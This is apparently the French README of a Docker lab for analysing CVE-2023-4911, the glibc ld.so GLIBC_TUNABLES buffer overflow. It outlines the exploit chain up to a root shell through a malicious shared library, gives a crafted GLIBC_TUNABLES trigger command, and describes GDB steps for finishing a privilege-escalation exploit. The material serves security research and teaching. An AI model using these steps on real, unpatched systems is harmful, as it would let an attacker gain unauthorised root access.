
# Laboratoire Docker CVE-2023-4911 pour analyser le débordement de tampon de glibc ld.so et développer une exploitation d'élévation de privilèges locale avec débogage GDB.
Environnement pratique basé sur Docker pour l’analyse de la vulnérabilité de débordement de tampon (élévation de privilèges locale) dans le chargeur dynamique de la bibliothèque GNU C (glibc) et le développement d’exploits.
| Élément | Contenu |
|---|---|
| Numéro CVE | CVE-2023-4911 |
| Alias | Looney Tunables |
| Cible vulnérable | GNU C Library (glibc) 2.34 ~ 2.38 |
| Version vulnérable | Ubuntu 22.04 — libc6 ≤ 2.35-0ubuntu3.3 |
| Version corrigée | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| Type | Débordement de tampon dans ld.so |
| Impact | Élévation de privilèges locale (utilisateur normal → root) |
| Découverte | Qualys Security Research Team |
Le chargeur dynamique de glibc (ld.so) analyse la variable d’environnement GLIBC_TUNABLES lors de l’exécution d’un programme.
Lors de l’exécution d’un binaire SUID, __libc_enable_secure = 1 est défini et ld.so entre dans un chemin de code qui annule (nullify) cette variable d’environnement.
Dans ce processus, un débordement de tampon se produit en raison d’un calcul de longueur erroné pour les entrées de la forme tunable1=tunable2=value.
Binaire normal : __libc_enable_secure = 0 → pas d’entrée dans le code d’annulation → pas de vulnérabilité
Binaire SUID : __libc_enable_secure = 1 → entrée dans le code d’annulation → débordement de tampon
Flux de l’exploit :
Débordement de GLIBC_TUNABLES
↓
Écriture du pointeur link_map dans la zone BSS de ld.so
↓
Détournement du chemin de recherche des bibliothèques vers evil_lib/
↓
Chargement de evil.so → exécution automatique du constructeur
↓
setuid(0) + execve("/bin/bash") → obtention d’un shell root
Cet environnement va au-delà d’une simple exécution de PoC ; il est conçu pour analyser directement le principe de fonctionnement de la vulnérabilité et développer un exploit.
ld.so et le binaire exécutableresearcher) vers rootCVE-2023-4911/
├── Dockerfile # Définition de l’image de l’environnement vulnérable (build multi‑étapes)
├── run.sh # Script de gestion du build/run Docker
├── check_environment.sh # Validation automatique de l’environnement au démarrage du conteneur
├── poc/
│ ├── exploit.py # PoC de base — vérification du crash (SIGSEGV)
│ ├── exploit_lpe.py # Exploit LPE — à compléter après analyse GDB
│ └── evil_lib/
│ ├── evil.c # Bibliothèque partagée malveillante exécutant un shell root
│ └── Makefile
└── test_targets/
├── test_suid.c # Source du binaire de test SUID
└── test_heap.c # Source du binaire de test d’allocation tas
./run.sh build && ./run.sh run
Au démarrage du conteneur, le mot de passe sudo est demandé.
Mot de passe : password
# Vérifier la présence d’un SIGSEGV
python3 /workspace/poc/exploit.py --check-only
# Déclencher directement
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# Analyse directe dans le conteneur
gdb -q /workspace/test_targets/test_suid
# Débogage distant (gdbserver)
# Dans le conteneur
gdbserver :1234 /workspace/test_targets/test_suid
# Sur l’hôte local
gdb
(gdb) target remote localhost:1234
Après avoir analysé OVERFLOW_OFFSET et TARGET_ADDR avec GDB, mettez à jour les valeurs en haut de exploit_lpe.py et exécutez.
python3 /workspace/poc/exploit_lpe.py
# Emplacement de la fonction vulnérable
/workspace/glibc-source/elf/dl-tunables.c
# Fonctions principales
__tunables_init() # Point d’entrée
parse_tunables() # Point où se produit le débordement
tunables_strdup() # Allocation du tampon
# Traçage des appels système avec strace
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# Analyse de __tunables_init avec GDB
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
Utilisez cet environnement uniquement à des fins éducatives et de recherche en sécurité.
--privileged ; utilisez-le uniquement dans un environnement isolé| Commande | Description |
|---|
./run.sh build | Construction de l’image Docker |
./run.sh run | Exécution du conteneur en mode interactif |
./run.sh analysis | Exécution en mode analyse |
./run.sh test | Vérification rapide de la vulnérabilité |
./run.sh clean | Nettoyage des images et des conteneurs |
| Élément | Contenu |
|---|
| Image de base | ubuntu:jammy-20230916 (avant correctif) |
| Version glibc | 2.35-0ubuntu3.3 (vulnérable) |
| Version ld.so | 2.35-0ubuntu3.3 (vulnérable) |
| Compte d’analyse | researcher / password |
| Sources glibc | /workspace/glibc-source (2.35) |
| Port principal | 1234 (gdbserver) |
| Options du conteneur | --privileged, --pid=host |